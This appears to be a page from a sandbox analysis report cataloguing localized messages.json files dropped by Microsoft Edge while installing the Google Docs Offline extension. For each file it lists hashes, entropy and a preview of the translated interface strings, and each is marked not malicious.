SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
